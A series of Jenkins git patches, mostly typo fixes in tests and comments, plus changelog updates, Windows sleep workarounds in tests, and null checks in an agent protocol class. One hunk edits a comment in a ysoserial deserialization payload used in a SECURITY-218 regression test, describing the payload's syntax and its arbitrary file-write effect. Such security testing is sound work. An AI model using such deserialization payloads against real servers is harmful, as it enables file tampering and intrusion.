WorkspaceCleanupThread().getRecurrencePeriod() diff --git a/test/src/test/java/hudson/scm/ChangeLogSetTest.java b/test/src/test/java/hudson/scm/ChangeLogSetTest.java index cf22379b90..310f28f2b9 100644 --- a/test/src/test/java/hudson/scm/ChangeLogSetTest.java +++ b/test/src/test/java/hudson/scm/ChangeLogSetTest.java @@ -22,7 +22,7 @@ public class ChangeLogSetTest { @Issue("JENKINS-17084") public void catchingExceptionDuringAnnotation() { EntryImpl change = new EntryImpl(); - change.setParent(ChangeLogSet.createEmpty(null)); // otherwise test would actually test only NPE thrown when accessing paret.build + change.setParent(ChangeLogSet.createEmpty(null)); // otherwise test would actually test only NPE thrown when accessing parent.build boolean notCaught = false; try { change.getMsgAnnotated(); diff --git a/test/src/test/java/hudson/search/SearchTest.java b/test/src/test/java/hudson/search/SearchTest.java index ead30aedd2..a3b64218ad 100644 --- a/test/src/test/java/hudson/search/SearchTest.java +++ b/test/src/test/java/hudson/search/SearchTest.java @@ -251,7 +251,7 @@ public class SearchTest { assertEquals(2, jsonArray.size()); boolean foundProjectName = false; - boolean foundDispayName = false; + boolean foundDisplayName = false; for(Object suggestion : jsonArray) { JSONObject jsonSuggestion = (JSONObject)suggestion; @@ -260,12 +260,12 @@ public class SearchTest { foundProjectName = true; } else if(displayName.equals(name)) { - foundDispayName = true; + foundDisplayName = true; } } assertTrue(foundProjectName); - assertTrue(foundDispayName); + assertTrue(foundDisplayName); } @Issue("JENKINS-24433") diff --git a/test/src/test/java/hudson/tasks/MavenTest.java b/test/src/test/java/hudson/tasks/MavenTest.java index bbc3d804a4..5b1c933a23 100644 --- a/test/src/test/java/hudson/tasks/MavenTest.java +++ b/test/src/test/java/hudson/tasks/MavenTest.java @@ -172,7 +172,7 @@ public class MavenTest { j.submit(f); verify(); - // another submission and verfify it survives a roundtrip + // another submission and verify it survives a roundtrip p = j.createWebClient().goTo("configure"); f = p.getFormByName("config"); j.submit(f); @@ -255,16 +255,16 @@ public class MavenTest { { GlobalMavenConfig globalMavenConfig = GlobalMavenConfig.get(); assertNotNull("No global Maven Config available", globalMavenConfig); - globalMavenConfig.setSettingsProvider(new FilePathSettingsProvider("/tmp/settigns.xml")); - globalMavenConfig.setGlobalSettingsProvider(new FilePathGlobalSettingsProvider("/tmp/global-settigns.xml")); + globalMavenConfig.setSettingsProvider(new FilePathSettingsProvider("/tmp/settings.xml")); + globalMavenConfig.setGlobalSettingsProvider(new FilePathGlobalSettingsProvider("/tmp/global-settings.xml")); FreeStyleProject p = j.createFreeStyleProject(); p.getBuildersList().add(new Maven("b", null, "b.pom", "c=d", "-e", true)); Maven m = p.getBuildersList().get(Maven.class); assertEquals(FilePathSettingsProvider.class, m.getSettings().getClass()); - assertEquals("/tmp/settigns.xml", ((FilePathSettingsProvider)m.getSettings()).getPath()); - assertEquals("/tmp/global-settigns.xml", ((FilePathGlobalSettingsProvider)m.getGlobalSettings()).getPath()); + assertEquals("/tmp/settings.xml", ((FilePathSettingsProvider)m.getSettings()).getPath()); + assertEquals("/tmp/global-settings.xml", ((FilePathGlobalSettingsProvider)m.getGlobalSettings()).getPath()); } } @@ -286,7 +286,7 @@ public class MavenTest { new StringParameterDefinition("exclamation_mark", "!"), new StringParameterDefinition("at_sign", "@"), new StringParameterDefinition("sharp", "#"), - new StringParameterDefinition("dolar", "$"), + new StringParameterDefinition("dollar", "$"), new StringParameterDefinition("percent", "%"), new StringParameterDefinition("circumflex", "^"), new StringParameterDefinition("ampersand", "&"), diff --git a/test/src/test/java/jenkins/I18nTest.java b/test/src/test/java/jenkins/I18nTest.java index a28dd1b41a..e6057b78c2 100644 --- a/test/src/test/java/jenkins/I18nTest.java +++ b/test/src/test/java/jenkins/I18nTest.java @@ -87,7 +87,7 @@ public class I18nTest { } @Issue("JENKINS-39034") - @Test //country testing with delimeter '-' instead of '_' + @Test //country testing with delimiter '-' instead of '_' public void test_valid_region() throws IOException, SAXException { JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=jenkins.i18n.Messages&language=en-AU").getJSONObject(); Assert.assertEquals("ok", response.getString("status")); diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 311dc6b7e1..f53cb81bbc 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -610,9 +610,9 @@ public class JenkinsTest { assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == j.jenkins.getAgentProtocols()); assertThat("We should have disabled two protocols", j.jenkins.getAgentProtocols().size(), equalTo(defaultProtocols.size() - 2)); - assertThat(protocolToDisable1 + " must be disaabled after the roundtrip", + assertThat(protocolToDisable1 + " must be disabled after the roundtrip", j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable1))); - assertThat(protocolToDisable2 + " must be disaabled after the roundtrip", + assertThat(protocolToDisable2 + " must be disabled after the roundtrip", j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable2))); } } diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index b6eca3ab30..9f6c385fe5 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -141,7 +141,7 @@ public class Security218CliTest { //TODO: Fix the conversion layer (not urgent) // There is an issue in the conversion layer after the migration to another XALAN namespace - // with newer libs. SECURITY-218 does not apper in this case in manual tests anyway + // with newer libs. SECURITY-218 does not appear in this case in manual tests anyway @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @Issue("SECURITY-218") @@ -252,7 +252,7 @@ public class Security218CliTest { } if (cause instanceof SecurityException) { - // It should happen if the remote chanel reject a class. + // It should happen if the remote channel reject a class. // That's what we have done in SECURITY-218 => may be OK if (cause.getMessage().contains("Rejected")) { // OK @@ -266,7 +266,7 @@ public class Security218CliTest { final String message = cause.getMessage(); if (message != null && message.contains("cannot be cast to java.util.Set")) { // We ignore this exception, because there is a known issue in the test payload - // CommonsCollections1, CommonsCollections2 and Groovy1 fail witth this error, + // CommonsCollections1, CommonsCollections2 and Groovy1 fail with this error, // but actually it means that the conversion has been triggered return EXIT_CODE_ASSIGNMENT_ISSUE; } else { diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java index 5a70924221..59b1494cfb 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java @@ -52,7 +52,7 @@ import jenkins.security.security218.ysoserial.payloads.util.Reflections; * - writeOldB64;destFile;base64-data * * Yields: - * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) + * - copy an arbitrary file to an arbitrary directory (source file is deleted if possible) * - pre 1.3.1 (+ old JRE): write data to an arbitrary file * - 1.3.1+: write data to a more or less random file in an arbitrary directory * diff --git a/test/src/test/resources/hudson/model/node.xml b/test/src/test/resources/hudson/model/node.xml index 89c034121f..0a7827642f 100644 --- a/test/src/test/resources/hudson/model/node.xml +++ b/test/src/test/resources/hudson/model/node.xml @@ -2,7 +2,7 @@ SlaveFromXML XML slave description - /user/hudson/wokspace + /user/hudson/workspace 42 NORMAL diff --git a/translation-tool.pl b/translation-tool.pl index bf458525ec..b19d31e4d9 100755 --- a/translation-tool.pl +++ b/translation-tool.pl @@ -27,7 +27,7 @@ # Perl script to generate missing translation keys and missing properties files, # to remove unused keys, and to convert utf8 properties files to iso or ascii. # -# 1.- It recursively looks for files in a folder, and analizes them to extract the +# 1.- It recursively looks for files in a folder, and analyzes them to extract the # keys being used in the application. # 2.- If --add=true, it generates the appropriate file for the desired language and adds # these keys to it, adding the english text as a reference. @@ -411,7 +411,7 @@ Usage: $0 --lang=xx [options] [dir] --editor=command -> command to run over each updated file, implies add=true (default none) --reuse=folder -> load a cache with keys already translated in the folder provided in order to utilize them when the same key appears - --counter=true -> to each translated key, unique value is added to easily identyfy match missing translation + --counter=true -> to each translated key, unique value is added to easily identify match missing translation with value in source code (default false) Examples: diff --git a/war/images/readme.txt b/war/images/readme.txt index 9799add8cd..b009c973fd 100644 --- a/war/images/readme.txt +++ b/war/images/readme.txt @@ -1,2 +1,2 @@ This is the workshop to tweak with images. -These images are generated into PNGs and then copied manually over to the resouces/image directory +These images are generated into PNGs and then copied manually over to the resources/image directory diff --git a/war/pom.xml b/war/pom.xml index f51f36bebe..b27cd3ff46 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -467,7 +467,7 @@ THE SOFTWARE. - + ../core/src/main/resources

                                                  +

                                                  What's new in 2.46 (2017/02/13)

                                                  • Failure to serialize a single Action could cause an entire REST export response to fail. Upgraded to Stapler 1.249 with a fix. (issue 40088)
                                                  -

                                                  What's new in 2.45 (2017/02/06)

                                                  • -- GitLab From f6005c3b1c055459499abe9012e2ea7451e27841 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 13 Feb 2017 15:17:28 +0100 Subject: [PATCH 638/712] Noting #2722 #2723 #2727 #2732 #2735 #2737 #2738 #2739 #2744 --- changelog.html | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index ede9c512b6..624f636e25 100644 --- a/changelog.html +++ b/changelog.html @@ -63,8 +63,33 @@ Upcoming changes
                                                    • Failure to serialize a single Action could cause an entire REST export response to fail. - Upgraded to Stapler 1.249 with a fix. + Upgraded to Stapler 1.250 with a fix. (issue 40088) +
                                                    • + Do not fail to write a log file just because something deleted the parent directory. + (issue 16634) +
                                                    • + Use extensible BUILD_NOW_TEXT for parameterized jobs. + (issue 41457) +
                                                    • + Display an informative message, rather than a Groovy exception, when View#getItems fails. + (issue 41825) +
                                                    • + Don't consider a project to be parameterized if no parameters are defined. + (issue 37590) +
                                                    • + Don't add all group names as HTTP headers on "access denied" pages. + (issue 39402) +
                                                    • + Ensure that PluginManager#dynamicLoad runs as SYSTEM. + (issue 41684) +
                                                    • + Add Usage Statistics section to the global configuration to make it easier to find. + (issue 32938) +
                                                    • + Allow groovy CLI command via SSH CLI. + (issue 41765) +

                                                    What's new in 2.45 (2017/02/06)

                                                      -- GitLab From 23d374687c3e4f8b7be50eb9e1f17538ed95149b Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Mon, 13 Feb 2017 08:35:19 -0700 Subject: [PATCH 639/712] Try /nobreak for timeout command. --- .../test/java/hudson/cli/AbstractBuildRangeCommand2Test.java | 4 +++- test/src/test/java/hudson/cli/ConsoleCommandTest.java | 5 ++--- test/src/test/java/hudson/model/ProjectTest.java | 4 ++-- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java b/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java index 2287fc426a..91d67efb49 100644 --- a/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java +++ b/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java @@ -25,10 +25,12 @@ package hudson.cli; import hudson.Extension; +import hudson.Functions; import hudson.model.AbstractBuild; import hudson.model.FreeStyleProject; import hudson.model.Job; import hudson.model.labels.LabelAtom; +import hudson.tasks.BatchFile; import hudson.tasks.Shell; import jenkins.model.Jenkins; import org.junit.Before; @@ -88,7 +90,7 @@ public class AbstractBuildRangeCommand2Test { @Test public void dummyRangeShouldSuccessEvenTheBuildIsRunning() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1\nsleep 10s")); + project.getBuildersList().add(Functions.isWindows() ? new BatchFile("echo 1\r\ntimeout /t 10 /nobreak") : new Shell("echo 1\nsleep 10s")); assertThat("Job wasn't scheduled properly", project.scheduleBuild(0), equalTo(true)); // Wait until classProject is started (at least 1s) diff --git a/test/src/test/java/hudson/cli/ConsoleCommandTest.java b/test/src/test/java/hudson/cli/ConsoleCommandTest.java index 3f1ad2bd0e..9ef83a768b 100644 --- a/test/src/test/java/hudson/cli/ConsoleCommandTest.java +++ b/test/src/test/java/hudson/cli/ConsoleCommandTest.java @@ -197,9 +197,8 @@ public class ConsoleCommandTest { FreeStyleProject project = j.createFreeStyleProject("aProject"); //TODO: do we really want to sleep for 10 seconds? if(Functions.isWindows()) { - // the ver >NUL is to reset ERRORLEVEL so we don't fail (ping causes the error) project.getBuildersList().add(new BatchFile("echo start - %BUILD_NUMBER%\r\n" - + "timeout /t 10\r\necho after sleep - %BUILD_NUMBER%")); + + "timeout /t 10 /nobreak\r\necho after sleep - %BUILD_NUMBER%")); } else { project.getBuildersList().add(new Shell("echo start - ${BUILD_NUMBER}\nsleep 10s\n" + "echo after sleep - ${BUILD_NUMBER}")); @@ -270,7 +269,7 @@ public class ConsoleCommandTest { if (Functions.isWindows()) { // the ver >NUL is to reset ERRORLEVEL so we don't fail (ping causes the error) project.getBuildersList().add(new BatchFile("echo 1\r\necho 2\r\necho 3\r\necho 4\r\necho 5\r\n" - + "timeout /t 10\r\necho 6\r\necho 7\r\necho 8\r\necho 9")); + + "timeout /t 10 /nobreak\r\necho 6\r\necho 7\r\necho 8\r\necho 9")); } else { project.getBuildersList().add(new Shell("echo 1\necho 2\necho 3\necho 4\necho 5\n" + "sleep 10s\n" diff --git a/test/src/test/java/hudson/model/ProjectTest.java b/test/src/test/java/hudson/model/ProjectTest.java index f1395bf2f6..b0aeb6fc5c 100644 --- a/test/src/test/java/hudson/model/ProjectTest.java +++ b/test/src/test/java/hudson/model/ProjectTest.java @@ -359,14 +359,14 @@ public class ProjectTest { @Test public void testGetCauseOfBlockage() throws Exception { FreeStyleProject p = j.createFreeStyleProject("project"); - p.getBuildersList().add(Functions.isWindows() ? new BatchFile("timeout /t 10") : new Shell("sleep 10")); + p.getBuildersList().add(Functions.isWindows() ? new BatchFile("timeout /t 10 /nobreak") : new Shell("sleep 10")); QueueTaskFuture b1 = waitForStart(p); assertInstanceOf("Build can not start because previous build has not finished: " + p.getCauseOfBlockage(), p.getCauseOfBlockage(), BlockedBecauseOfBuildInProgress.class); p.getLastBuild().getExecutor().interrupt(); b1.get(); // wait for it to finish FreeStyleProject downstream = j.createFreeStyleProject("project-downstream"); - downstream.getBuildersList().add(Functions.isWindows() ? new BatchFile("timeout /t 10") : new Shell("sleep 10")); + downstream.getBuildersList().add(Functions.isWindows() ? new BatchFile("timeout /t 10 /nobreak") : new Shell("sleep 10")); p.getPublishersList().add(new BuildTrigger(Collections.singleton(downstream), Result.SUCCESS)); Jenkins.getInstance().rebuildDependencyGraph(); p.setBlockBuildWhenDownstreamBuilding(true); -- GitLab From d3791e9a8437127abad1722b9a5c45d82e587498 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 13 Feb 2017 10:44:17 -0500 Subject: [PATCH 640/712] Check for null return values from InstanceIdentityProvider methods. --- .../main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java index 976f44d346..2794382889 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java @@ -101,7 +101,13 @@ public class JnlpSlaveAgentProtocol4 extends AgentProtocol { public JnlpSlaveAgentProtocol4() throws KeyStoreException, KeyManagementException, IOException { // prepare our local identity and certificate X509Certificate identityCertificate = InstanceIdentityProvider.RSA.getCertificate(); + if (identityCertificate == null) { + throw new KeyStoreException("no X509Certificate found; perhaps instance-identity is missing or too old"); + } RSAPrivateKey privateKey = InstanceIdentityProvider.RSA.getPrivateKey(); + if (privateKey == null) { + throw new KeyStoreException("no RSAPrivateKey found; perhaps instance-identity is missing or too old"); + } // prepare our keyStore so we can provide our authentication keyStore = KeyStore.getInstance("JKS"); -- GitLab From dbf5efa6ae60c30d00afca61d3fd24f56f2c860c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 13 Feb 2017 11:03:44 -0500 Subject: [PATCH 641/712] [JENKINS-41987] Improved message. --- .../src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java index 2794382889..cfa4ac8de7 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java @@ -102,11 +102,11 @@ public class JnlpSlaveAgentProtocol4 extends AgentProtocol { // prepare our local identity and certificate X509Certificate identityCertificate = InstanceIdentityProvider.RSA.getCertificate(); if (identityCertificate == null) { - throw new KeyStoreException("no X509Certificate found; perhaps instance-identity is missing or too old"); + throw new KeyStoreException("JENKINS-41987: no X509Certificate found; perhaps instance-identity module is missing or too old"); } RSAPrivateKey privateKey = InstanceIdentityProvider.RSA.getPrivateKey(); if (privateKey == null) { - throw new KeyStoreException("no RSAPrivateKey found; perhaps instance-identity is missing or too old"); + throw new KeyStoreException("JENKINS-41987: no RSAPrivateKey found; perhaps instance-identity module is missing or too old"); } // prepare our keyStore so we can provide our authentication -- GitLab From 9491f776e9c633850c928c3dbd60e7184018527d Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Mon, 13 Feb 2017 09:53:07 -0700 Subject: [PATCH 642/712] Replace timeout with ping solution (Thanks Windows) --- .../test/java/hudson/cli/AbstractBuildRangeCommand2Test.java | 2 +- test/src/test/java/hudson/cli/ConsoleCommandTest.java | 4 ++-- test/src/test/java/hudson/model/ProjectTest.java | 4 ++-- test/src/test/java/hudson/model/QueueTest.java | 4 +++- 4 files changed, 8 insertions(+), 6 deletions(-) diff --git a/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java b/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java index 91d67efb49..8d682801ce 100644 --- a/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java +++ b/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java @@ -90,7 +90,7 @@ public class AbstractBuildRangeCommand2Test { @Test public void dummyRangeShouldSuccessEvenTheBuildIsRunning() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(Functions.isWindows() ? new BatchFile("echo 1\r\ntimeout /t 10 /nobreak") : new Shell("echo 1\nsleep 10s")); + project.getBuildersList().add(Functions.isWindows() ? new BatchFile("echo 1\r\nping -n 10 127.0.01 >nul") : new Shell("echo 1\nsleep 10s")); assertThat("Job wasn't scheduled properly", project.scheduleBuild(0), equalTo(true)); // Wait until classProject is started (at least 1s) diff --git a/test/src/test/java/hudson/cli/ConsoleCommandTest.java b/test/src/test/java/hudson/cli/ConsoleCommandTest.java index 9ef83a768b..1f4033e0c2 100644 --- a/test/src/test/java/hudson/cli/ConsoleCommandTest.java +++ b/test/src/test/java/hudson/cli/ConsoleCommandTest.java @@ -198,7 +198,7 @@ public class ConsoleCommandTest { //TODO: do we really want to sleep for 10 seconds? if(Functions.isWindows()) { project.getBuildersList().add(new BatchFile("echo start - %BUILD_NUMBER%\r\n" - + "timeout /t 10 /nobreak\r\necho after sleep - %BUILD_NUMBER%")); + + "ping -n 10 127.0.0.1 >nul\r\necho after sleep - %BUILD_NUMBER%")); } else { project.getBuildersList().add(new Shell("echo start - ${BUILD_NUMBER}\nsleep 10s\n" + "echo after sleep - ${BUILD_NUMBER}")); @@ -269,7 +269,7 @@ public class ConsoleCommandTest { if (Functions.isWindows()) { // the ver >NUL is to reset ERRORLEVEL so we don't fail (ping causes the error) project.getBuildersList().add(new BatchFile("echo 1\r\necho 2\r\necho 3\r\necho 4\r\necho 5\r\n" - + "timeout /t 10 /nobreak\r\necho 6\r\necho 7\r\necho 8\r\necho 9")); + + "ping -n 10 127.0.0.1 >nul\r\necho 6\r\necho 7\r\necho 8\r\necho 9")); } else { project.getBuildersList().add(new Shell("echo 1\necho 2\necho 3\necho 4\necho 5\n" + "sleep 10s\n" diff --git a/test/src/test/java/hudson/model/ProjectTest.java b/test/src/test/java/hudson/model/ProjectTest.java index b0aeb6fc5c..da7ea74185 100644 --- a/test/src/test/java/hudson/model/ProjectTest.java +++ b/test/src/test/java/hudson/model/ProjectTest.java @@ -359,14 +359,14 @@ public class ProjectTest { @Test public void testGetCauseOfBlockage() throws Exception { FreeStyleProject p = j.createFreeStyleProject("project"); - p.getBuildersList().add(Functions.isWindows() ? new BatchFile("timeout /t 10 /nobreak") : new Shell("sleep 10")); + p.getBuildersList().add(Functions.isWindows() ? new BatchFile("ping -n 10 127.0.0.1 >nul") : new Shell("sleep 10")); QueueTaskFuture b1 = waitForStart(p); assertInstanceOf("Build can not start because previous build has not finished: " + p.getCauseOfBlockage(), p.getCauseOfBlockage(), BlockedBecauseOfBuildInProgress.class); p.getLastBuild().getExecutor().interrupt(); b1.get(); // wait for it to finish FreeStyleProject downstream = j.createFreeStyleProject("project-downstream"); - downstream.getBuildersList().add(Functions.isWindows() ? new BatchFile("timeout /t 10 /nobreak") : new Shell("sleep 10")); + downstream.getBuildersList().add(Functions.isWindows() ? new BatchFile("ping -n 10 127.0.0.1 >nul") : new Shell("sleep 10")); p.getPublishersList().add(new BuildTrigger(Collections.singleton(downstream), Result.SUCCESS)); Jenkins.getInstance().rebuildDependencyGraph(); p.setBlockBuildWhenDownstreamBuilding(true); diff --git a/test/src/test/java/hudson/model/QueueTest.java b/test/src/test/java/hudson/model/QueueTest.java index 7b7329e581..834171ff5d 100644 --- a/test/src/test/java/hudson/model/QueueTest.java +++ b/test/src/test/java/hudson/model/QueueTest.java @@ -120,6 +120,7 @@ import java.util.concurrent.atomic.AtomicInteger; import static org.hamcrest.Matchers.nullValue; import static org.junit.Assert.*; +import static org.junit.Assume.assumeFalse; /** * @author Kohsuke Kawaguchi @@ -376,12 +377,13 @@ public class QueueTest { @Issue("JENKINS-8790") @Test public void flyweightTasks() throws Exception { + //assumeFalse("This doesn't currently work on Windows", Functions.isWindows()); MatrixProject m = r.jenkins.createProject(MatrixProject.class, "p"); m.addProperty(new ParametersDefinitionProperty( new StringParameterDefinition("FOO","value") )); if (Functions.isWindows()) { - m.getBuildersList().add(new BatchFile("timeout /t 3")); + m.getBuildersList().add(new BatchFile("ping -n 3 127.0.0.1 >nul")); } else { m.getBuildersList().add(new Shell("sleep 3")); } -- GitLab From 3d38ec9fddd11126c11345bc5dd48e19779ceaab Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Mon, 13 Feb 2017 12:09:45 -0700 Subject: [PATCH 643/712] Remove commented code --- test/src/test/java/hudson/model/QueueTest.java | 1 - 1 file changed, 1 deletion(-) diff --git a/test/src/test/java/hudson/model/QueueTest.java b/test/src/test/java/hudson/model/QueueTest.java index 834171ff5d..1bab23d98e 100644 --- a/test/src/test/java/hudson/model/QueueTest.java +++ b/test/src/test/java/hudson/model/QueueTest.java @@ -377,7 +377,6 @@ public class QueueTest { @Issue("JENKINS-8790") @Test public void flyweightTasks() throws Exception { - //assumeFalse("This doesn't currently work on Windows", Functions.isWindows()); MatrixProject m = r.jenkins.createProject(MatrixProject.class, "p"); m.addProperty(new ParametersDefinitionProperty( new StringParameterDefinition("FOO","value") -- GitLab From f604102bb6c22f6253819b642f484dedf284dd6e Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Mon, 13 Feb 2017 14:55:37 -0700 Subject: [PATCH 644/712] Update to use EchoCommand from test harness and some formatting. --- .../hudson/util/ArgumentListBuilder2Test.java | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/test/src/test/java/hudson/util/ArgumentListBuilder2Test.java b/test/src/test/java/hudson/util/ArgumentListBuilder2Test.java index b5e4564b0b..c2f06e1e9c 100644 --- a/test/src/test/java/hudson/util/ArgumentListBuilder2Test.java +++ b/test/src/test/java/hudson/util/ArgumentListBuilder2Test.java @@ -28,6 +28,7 @@ import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; import static org.junit.Assume.assumeTrue; import hudson.Functions; import hudson.Launcher.LocalLauncher; @@ -45,6 +46,7 @@ import com.google.common.base.Joiner; import java.io.ByteArrayOutputStream; import java.io.StringWriter; +import java.net.URL; /** * @author Kohsuke Kawaguchi @@ -90,9 +92,18 @@ public class ArgumentListBuilder2Test { } public String echoArgs(String... arguments) throws Exception { - ArgumentListBuilder args = new ArgumentListBuilder(JavaEnvUtils.getJreExecutable("java"), "-cp", "target/test-classes/", "hudson.util.EchoCommand"); - args.add(arguments); - args = args.toWindowsCommand(); + String testHarnessJar = Class.forName("hudson.util.EchoCommand") + .getProtectionDomain() + .getCodeSource() + .getLocation() + .getFile() + .replaceAll("^/", ""); + + ArgumentListBuilder args = new ArgumentListBuilder( + JavaEnvUtils.getJreExecutable("java").replaceAll("^\"|\"$", ""), + "-cp", testHarnessJar, "hudson.util.EchoCommand") + .add(arguments) + .toWindowsCommand(); ByteArrayOutputStream out = new ByteArrayOutputStream(); final StreamTaskListener listener = new StreamTaskListener(out); -- GitLab From 5969b8da99cc5541e313cf343cd31ba3ad2e4843 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Tue, 14 Feb 2017 15:23:56 +0000 Subject: [PATCH 645/712] [JENKINS-41899] Pick up fix --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index 2746bec069..ec6e0c044a 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -65,7 +65,7 @@ THE SOFTWARE. org.jenkins-ci version-number - 1.1 + 1.3 org.jenkins-ci -- GitLab From b07d193117971e71c886619b02326affaa3a49b3 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 14 Feb 2017 19:58:32 +0100 Subject: [PATCH 646/712] Archive changelog for versions older than 2.0 --- changelog.html | 1993 ------------------------------------------------ 1 file changed, 1993 deletions(-) diff --git a/changelog.html b/changelog.html index 624f636e25..7e0088cdde 100644 --- a/changelog.html +++ b/changelog.html @@ -1409,1999 +1409,6 @@ Upcoming changes (issue 33942)
                                                    -

                                                    What's new in 1.656 (2016/04/03)

                                                    -
                                                      -
                                                    • - Advertise the correct JNLP port when using the system property override. - (pull 2189) -
                                                    • - Pipeline runs not reliably started after restart when using Build after other projects are built. - (issue 33971) -
                                                    • - Prevent badges in build history sidepanel widget from overlapping page contents. - (issue 33826) -
                                                    • - Developer API: Allow putting @Initializer annotations on instance methods. - (pull 2176) -
                                                    • - Core development: Rerun failing tests rather than ignoring flaky tests. - (pull 2188) -
                                                    • - Core development: Prevent leaking threads due to NioChannelSelector. - (pull 2176) -
                                                    -

                                                    What's new in 1.655 (2016/03/27)

                                                    -
                                                      -
                                                    • - Downgrade Stapler to 1.239 to fix remote API issues. - (issue 33546, - issue 33605) -
                                                    • - Plugin filters were failing to be removed and blocking restart. - (issue 33681) -
                                                    • - Do not hardcode .bat extension for Maven on Windows. - (issue 33693) -
                                                    • - Reduce log level of UncaughtExceptionHandler message on startup. - (pull 2171) -
                                                    • - Don't store redundant build causes, make list of build causes immutable. - (issue 33467) -
                                                    • - Developer API: Add Fingerprint.getXStream(). - (pull 2163) -
                                                    • - Core Development: Add the .mvn directory and set default -Xmx value. - (pull 2162) -
                                                    -

                                                    What's new in 1.654 (2016/03/21)

                                                    -
                                                      -
                                                    • - Improve logging and error message when JNLP is already in use. - (issue 33453) -
                                                    • - NullPointerException from BuildTrigger$DescriptorImpl.doCheck when using Build other projects in Promotion process of a CloudBees template, and perhaps other circumstances. - (issue 32525) -
                                                    • - Improved the Build Other Projects help message. - (issue 32134) -
                                                    • - FutureImpl.cancel() doesn't cancel the linked job. - (issue 33038) -
                                                    • - Reject malformed range syntax in fingerprints data. - (issue 33037) -
                                                    • - Do not fail update center check if there are no tool installers defined. - (issue 32831) -
                                                    • - Log otherwise unhandled exceptions when threads die. - (issue 33395) -
                                                    • - Do not specifically require .NET framework 2.0 since 4.0 will do as well. - (issue 21484) -
                                                    -

                                                    What's new in 1.653 (2016/03/13)

                                                    -
                                                      -
                                                    • - Support encrypted communication between master and JNLP slaves. - (issue 26580) -
                                                    • - Fix argument masking for sensitive build variables on Windows. - (issue 28790) -
                                                    • - More compact representation of redundant build causes. - (issue 33467) -
                                                    • - Developer API: Jenkins.getInstance() cannot be null anymore. Introduced Jenkins.getInstanceOrNull(). -
                                                    -

                                                    What's new in 1.652 (2016/03/06)

                                                    -
                                                      -
                                                    • - Under some conditions Jenkins startup could fail because of incorrectly linked extensions; now recovering more gracefully. - (issue 25440) -
                                                    • - Developer API: Add WorkspaceList.tempDir(…). - (issue 27152) -
                                                    -

                                                    What's new in 1.651 (2016/02/28)

                                                    -
                                                      -
                                                    • - Move periodic task log files from JENKINS_HOME/*.log to JENKINS_HOME/logs/tasks/*.log and rotate them periodically rather than overwrite every execution. - (issue 33068) -
                                                    • - Fix documentation of proxy configuration. - (pull 2060) -
                                                    -

                                                    What's new in 1.650 (2016/02/24)

                                                    - -

                                                    What's new in 1.649 (2016/02/21)

                                                    -
                                                      -
                                                    • - Allow changing the directory used for the extraction of plugin archives via the --pluginroot CLI option (also controllable via the hudson.PluginManager.workDir system property / context parameter. Also document the --webroot CLI parameter in java -jar jenkins.war --help - (issue 32765) -
